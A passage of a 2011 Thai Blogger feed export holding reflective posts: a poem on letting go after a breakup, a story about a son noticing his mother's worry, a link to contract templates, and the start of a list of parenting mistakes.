&lt;/div&gt;&lt;/strong&gt;&lt;/span&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;เวลาเจอเรื่องแบบนี้&lt;/div&gt;&lt;/span&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;อย่าเสียเวลาถามว่า &quot;ทำไม&quot; ให้มากความ&lt;/div&gt;&lt;/span&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;คิดเสียว่าเขาตายจากชีวิ&lt;wbr&gt;&lt;/wbr&gt;ตเราไปแล้ว&lt;/div&gt;&lt;/span&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;คนที่เคยเป็นคนรักแสนดีของเรา เขาไม่อยู่ในโลกของเราแล้ว&lt;/div&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;&lt;br /&gt;
&lt;/strong&gt;&lt;/div&gt;&lt;span style=&quot;color: green; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;strong&gt;&lt;div style=&quot;text-align: center;&quot;&gt;ถ้าเรารักเขามากจริงๆ อย่างที่บอกเขาเสมอ&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;นี่ไง.. สิ่งสุดท้ายที่เราจะให้เขาได้&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&quot;ให้อภัย&quot; ไง&lt;/div&gt;&lt;/strong&gt;&lt;/span&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;&lt;br /&gt;
&lt;/strong&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;คิดเสียว่า เขาจะมีความสุขมากกว่าที่ได้อยู&lt;wbr&gt;&lt;/wbr&gt;่กับเรา&lt;/div&gt;&lt;/span&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;อวยพรให้เขาโชคดี ในโลกใหม่ของเขา&lt;/div&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: blue; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 19px;&quot;&gt;&lt;strong&gt;&lt;br /&gt;
&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style=&quot;color: blue; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 19px;&quot;&gt;ไม่ต้องรอเขาหรอกนะ&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;span style=&quot;color: blue; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 19px;&quot;&gt;อย่าไปหวังลมๆแล้งๆ ว่าคนตายแล้วจะฟื้นกลับมา&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;span style=&quot;color: blue; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 19px;&quot;&gt;เพราะมันมีแต่ในหนังแฟรงเก้&lt;wbr&gt;&lt;/wbr&gt;นสไตน์&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;และถึงเขาจะกลับมา เชื่อเถอะว่า&lt;/div&gt;&lt;/span&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;ความรู้สึกดีๆ มันจะไม่เหมือนเดิมแล้ว&lt;/div&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;&lt;br /&gt;
&lt;/strong&gt;&lt;/div&gt;&lt;span style=&quot;color: orange; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;strong&gt;&lt;div style=&quot;text-align: center;&quot;&gt;เขาเลือกทางเดินชีวิตของเขาแล้ว&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;เขาเริ่มต้นชีวิตใหม่ของเขาแล้ว&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;เราก็เลือกได้เหมือนกัน&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;ว่าจะเริ่มต้นชีวิตใหม่ หรือจมปลักในทุกข์นี้ต่อไป&lt;/div&gt;&lt;/strong&gt;&lt;/span&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;&lt;br /&gt;
&lt;/strong&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;อยากร้องไห้ก็ร้องแต่พองาม พอให้รู้สึกว่าเรามีเลือดเนื้อ&lt;/div&gt;&lt;/span&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;แต่อย่าร้องจนเสียจิต เหมือนคนคิดสั้น&lt;/div&gt;&lt;/span&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;เพราะถึงเราจะร้องจนน้ำท่วมทุ่&lt;wbr&gt;&lt;/wbr&gt;งกุลาร้องไห้&lt;/div&gt;&lt;/span&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;ก็ไม่ทำให้อะไรๆกลับมา เหมือนเดิม&lt;/div&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: purple; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 19px;&quot;&gt;&lt;strong&gt;&lt;br /&gt;
&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style=&quot;color: purple; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 19px;&quot;&gt;เราอาจรู้สึกเหมือนโลกดับ วับหาย&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;span style=&quot;color: purple; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 19px;&quot;&gt;แต่เปล่าหรอก.. ชีวิตเพิ่งจะเริ่มเรียนรู้&lt;wbr&gt;&lt;/wbr&gt;ความจริง&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 19px;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;การเรียนรู้ความรู้สึกของการสู&lt;wbr&gt;&lt;/wbr&gt;ญเสียครั้งใหญ่&lt;/div&gt;&lt;/span&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;เป็นบทเรียนสำคัญของมนุษย์&lt;/div&gt;&lt;/span&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;ที่จะได้สอนตัวเองว่า .. อย่ายึดมั่นถือมั่น&lt;/div&gt;&lt;/span&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;ทุกอย่างเกิดขึ้น ตั้งอยู่ แล้วก็ดับไป&lt;/div&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;&lt;br /&gt;
&lt;/strong&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style=&quot;color: brown; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;ทั้งเรา ทั้งเขา ทั้งใครๆ&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;ทั้งสิ่งนั้น สิ่งนี้ สิ่งไหน&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;ทั้งโลกนี้ จักรวาล และกาลเวลา&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/span&gt;&lt;/strong&gt;</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/46356596213076881/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/10/blog-post.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/46356596213076881'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/46356596213076881'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/10/blog-post.html' title='สิ่งที่น่ากลัวที่สุด'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-6186384532052045493</id><published>2011-09-23T09:39:00.001+07:00</published><updated>2011-09-23T09:39:36.191+07:00</updated><title type='text'>วันศุกร์แห่งชาติ</title><content type='html'>&amp;nbsp;ใครติดเพื่อนบ้าง...ยกมือขึ้น!!! เชื่อแน่ว่า จะต้องมีเพื่อน ๆ ที่นั่งอยู่หน้าจอคอมพ์ขณะนี้ยอมรับกันอยู่ในใจแน่ ๆ เลย เพราะเป็นธรรมดาที่วัยรุ่น วัยเรียน วัยทำงาน หรือแม้แต่ในวัยที่มีครอบครัวของตัวเองแล้ว ก็ยังไม่วายติดเพื่อน เป็นต้องออกไปพบปะสังสรรค์กันนอกบ้านเป็นประจำ (ก็มันสนุกนี่นา)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; และหลายครั้งที่ปาร์ตี้ในหมู่เพื่อนกินเวลายามค่ำคืนจนนาฬิกาบอกเวลาก้าวเข้าสู่วันใหม่เข้าไปแล้ว แต่รู้ไหมว่า ในช่วงที่เรากำลังสนุกสนานอยู่นั้น ยังมีคนข้างหลังคอยเป็นห่วงอยู่ที่บ้าน เขาคนนั้นยังนอนไม่หลับแม้จะรู้ว่าวันนั้นคุณจะกลับดึก ด้วยเป็นห่วงว่าคนที่รักยังไม่ถึงบ้านอย่างปลอดภัยนั่นเอง&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ดังเช่นเรื่องราวที่เรานำมาฝากกันวันนี้ จากคุณ ใส่หมวกแก๊ปไปเดินกุ๊บกั๊บ&amp;nbsp; สมาชิกเว็บไซต์พันทิป ที่บังเอิญได้ยินคำพูดธรรมดาคำหนึ่งของคนเป็นแม่ ในวันที่เขาออกไปสังสรรค์กับเพื่อน ๆ นั่นเป็นจุดเปลี่ยนที่ทำให้เขาเปลี่ยนใจและเปลี่ยนแปลง ซึ่งเรื่องของเรื่องมีอยู่ว่า...&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; เมื่อวันศุกร์ที่ผ่านมา ก็เป็นธรรมดาของมนุษย์เงินเดือน ที่วันศุกร์แห่งชาติ (และเป็นวันเงินเดือนออก) จะมีการนัดสังสรรค์กันระหว่างเพื่อน ๆ มีดื่ม มีเที่ยว เพราะถือว่าเป็นวันปลดปล่อยของสัปดาห์ หลังจากดื่มได้พอสมควร ก็รวมกลุ่มกันไปโต๊ะสนุ๊กฯ ต่อ กว่าจะได้กลับก็เกือบ ๆ ตีสอง&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; กลับมาก็เห็นแม่นอนดูทีวีอยู่ ก็ยังสงสัยว่าทำไมนอนดึกจัง เราก็ง่วงบวกกับมึน ๆ ด้วย ก็เลยเข้านอนเลย ไม่ได้ทักแม่ซักคำ&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; รุ่งขึ้นเป็นวันเสาร์ ผมก็ตื่นตั้งแต่เจ็ดโมงเช้า เพราะตื่นเวลานี้เป็นปกติแล้ว (แต่ก็ยังไม่เคยตื่นก่อนแม่ซักที)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ประโยคแรกที่เราทักแม่ก็คือ &quot;แม่ วันนี้มีอะไรกิน&quot;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; หลังจากกินข้าวเสร็จแล้ว วันนี้ครอบครัวผมมีธุระต้องเข้ากรุงเทพฯ ระหว่างทางแม่ผมก็คุยกับพี่ชายเรื่องทั่ว ๆ ไป ผมก็นั่งอ่านหนังสืออยู่เงียบ ๆ ได้ยินแม่บ่นเรื่องทั่ว ๆ ไป และก็พูดว่า...&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; แม่ : วันนี้ง่วงนอนจัง&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; พี่ชาย : ไปทำอะไรมาล่ะแม่&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; แม่ : ก็ไม่ได้ทำอะไร เมื่อคืนไอ้...(ชื่อผม) มันยังไม่กลับบ้าน แม่ก็นอนไม่หลับ&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ผม : ...........&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จากนั้นเค้าก็คุยกันเรื่องอื่น แต่ประโยคดังกล่าว มันทำให้ผมกลับมาคิดว่า ในวันแรกที่เงินเดือนออก แทนที่เราจะพาคนที่รักและเป็นห่วงเราไปกินข้าว เรากลับเลือกที่จะออกไปสังสรรค์กับเพื่อน ไปกินเหล้า เมายา เล่นการพนัน&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; แต่เรากลับทิ้งให้อีกคนหนึ่งที่เป็นห่วงเรา อดนอน เพื่อรอว่าเราจะกลับถึงบ้านโดยปลอดภัยแล้ว เมื่อเรากลับถึงบ้าน เมื่อนั้นแหละ เค้าคนนั้นถึงจะหลับลง&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จากเหตุการณ์นี้ทำให้เรานึกย้อนไปถึงครั้งก่อน ๆ ถ้าเรากลับบ้านดึก แม่จะโทรตามทุกครั้ง จะไม่ได้ดุด่าหรือว่าอะไร เพียงแต่จะถามว่า &quot;อยู่ไหน ดึกแล้วนะ พรุ่งนี้ไม่ทำงานหรอ...&quot; เมื่อเรากลับมา ก็จะพบว่าแม่ยังไม่นอนเสมอ ทำให้เราได้ย้อนกลับมาคิดได้ว่า ถึงแม้เราจะเป็นผู้ชาย และอายุก็ไม่ใช่เด็ก ๆ มีหน้าที่การงานแล้ว แต่ด้วยความที่เป็นแม่ ยังไงก็ยังเป็นห่วงลูก ถ้าลูกยังไม่กลับถึงบ้าน ก็อดที่จะห่วงไม่ได้&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; วันถัดมาเพื่อนผมก็ชวนออกไปกินสังสรรค์อีก แม่ได้ยินผมคุยโทรศัพท์ในรถ ก็บอกว่า... &quot;ถ้าไม่อยากไปกับเพื่อนก็ปฏิเสธได้ ต้องปฏิเสธคนให้เป็น&quot; (แม่จะรู้นิสัยผมว่าเป็นคนปฏิเสธคนไม่เป็น) ผมจึงตัดสินใจบอกเพื่อนไป&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ผม : &quot;วันนี้กรูไม่ไปนะ&quot;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; เพื่อน : &quot;ทำhaอะไร ทำไมถึงไม่มา&quot;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ผม : &quot;กรูจะพาแม่กรูไปกินข้าว&quot; &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; จากเรื่องราวข้างต้นจะเห็นได้ว่า เป็นเรื่องธรรมดาที่อาจเกิดขึ้นซ้ำ ๆ ในชีวิตประจำวันของใครหลายคน แต่...เพียงแค่เราหันมาใส่ใจคนใกล้ตัวที่เรามักจะมองข้ามบ้าง ก็จะรับรู้ได้ถึงความรักลึกซึ้งจากคนที่รัก โดยเฉพาะคุณแม่ และนั่นอาจสร้างจุดเปลี่ยน หรือมุมคิดดี ๆ ที่จะทำให้คุณเป็นลูกที่น่ารักขึ้นเป็นกอง</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/6186384532052045493/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/09/blog-post_23.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/6186384532052045493'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/6186384532052045493'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/09/blog-post_23.html' title='วันศุกร์แห่งชาติ'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-9019770259202539328</id><published>2011-09-13T11:11:00.001+07:00</published><updated>2011-09-13T11:11:51.143+07:00</updated><title type='text'>แบบร่างสัญญา 400 กว่าแบบ</title><content type='html'>แบบร่างสัญญา 400 กว่าแบบ ผมคิดว่า มีประโยชน์นะครับ&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://image.freeloadza.com/index.php?mod=show&amp;amp;id=738&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://image.freeloadza.com/i/BH.jpg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Part01 ลิ้งดาวน์โหลด&amp;nbsp; : &lt;a href=&quot;http://www.mediafire.com/?1yoshww4hs2em10&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;color: green;&quot;&gt;http://www.mediafire.com/?1yoshww4hs2em10&lt;/span&gt;&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/9019770259202539328/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/09/400.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/9019770259202539328'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/9019770259202539328'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/09/400.html' title='แบบร่างสัญญา 400 กว่าแบบ'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-835494777211490099</id><published>2011-09-09T10:10:00.002+07:00</published><updated>2011-09-09T10:10:42.904+07:00</updated><title type='text'>พ่อแม่รังแกฉัน (บาป ๑๔ ประการของมารดาบิดา)</title><content type='html'>พ่อแม่รังแกฉัน (บาป ๑๔ ประการของมารดาบิดา)&lt;br /&gt;
&lt;br /&gt;
พ่อแม่บางคน (๑)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ทำร้ายลูกด้วยการรักเขามากเกินไป ผลก็คือเกิดภาวะรักจนหลง ลูกของตนถูกทุกอย่าง ลูกของตนดีกว่าคนอื่นเสมอ อันส่งผลให้ลูกกลายเป็นคนมีอัตตาสูง เชื่อมั่นตนเองในทางที่ผิด ชอบดูถูกคน เป็นตัวปัญหา แต่ไม่ยอมรับว่าตนเป็นคนสร้างปัญหา&lt;br /&gt;
พ่อแม่บางคน (๒)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ทำร้ายลูกด้วยการตามใจเขามากเกินไป ผลก็คือพ่อแม่กลายเป็นข้าช่วงใช้ของลูก ส่วนลูกกลายเป็น “ลูกบังเกิดเกล้า” ที่พ่อแม่ต้องยอมให้เขาทุกอย่าง&amp;nbsp; ที่หนักกว่านั้นก็คือ ถ้าพ่อแม่ไม่ยอมตามที่ลูกต้องการลูกบางคนก็ถึงขั้นทุบตีทำร้ายพ่อแม่&lt;br /&gt;
พ่อแม่บางคน (๓)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ทำร้ายลูกด้วยการไม่กล้าห้ามปรามสั่งสอนเมื่อลูกทำผิด ทำเลว ทำบาป&amp;nbsp; ผลก็คือ ลูกสูญเสียสามัญสำนึก แยกแยะถูกผิดดีชั่วไม่เป็น มองไม่เห็นเส้นแบ่งทางจริยธรรมว่า ดีเป็นอย่างไร ชั่วเป็นอย่างไร จึงกลายเป็นนักเลงอันธพาล&amp;nbsp; ระรานคนเขาไปทั่ว&lt;br /&gt;
พ่อแม่บางคน (๔)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ทำร้ายลูกด้วยการให้เงินลูกเพียงอย่างเดียว&amp;nbsp; ผลก็คือ&amp;nbsp; ลูกไม่รู้จักคุณค่าของเงิน&amp;nbsp; ไม่เห็นคุณค่าของผู้ที่หา/และให้เงิน&amp;nbsp; ยิ่งได้เงินมาก&amp;nbsp; ยิ่งผลาญเงินเก่ง&amp;nbsp; มีเงินเท่าไหร่ก็ไม่พอใช้&amp;nbsp; และทั้งๆที่ใช้จ่ายเงินสูง&amp;nbsp; แต่กลับมีคุณภาพชีวิตต่ำ&lt;br /&gt;
พ่อแม่บางคน (๕)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ทำร้ายลูกด้วยการไม่ยอมให้ลูกเรียนรู้ที่จะพึ่งตนเอง เกรงว่าหากให้ลูกทำอะไรด้วยตนเองแล้วเขาจะลำบาก ผลก็คือเมื่อโตขึ้นลูกกลายเป็นลูกแหง่ที่พึ่งตนเองไม่ได้ ทำอะไรด้วยตนเองไม่เป็น ยิ่งเติบโตยิ่งเป็นตัวปัญหาของสถาบันครอบครัว&lt;br /&gt;
พ่อแม่บางคน (๖)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; ทำร้ายลูกด้วยการไม่ยอมส่งเสริมให้ลูกได้รับการศึกษาที่ดี มัวแต่สนใจลงทุนในการทำธุรกิจเป็นร้อยเป็นพันล้าน แต่ไม่รู้จักลงทุนในการสร้างลูกให้เป็นปัญญาชน ผลก็คือลูกเติบโตแต่ตัว แต่ทว่ามีสติปัญญาที่ต่ำต้อย ขาดทักษะการคิด การใช้เหตุผล การทำงาน การเข้าสังคม เขาไม่เพียงแต่ไม่สามารถร่วมเป็นสมาชิกที่ดีของสังคมเท่านั้นแต่ยังสร้าง ปัญหาให้สังคมอีกต่างหาก&lt;br /&gt;
พ่อแม่บางคน (๗)&lt;br /&gt;
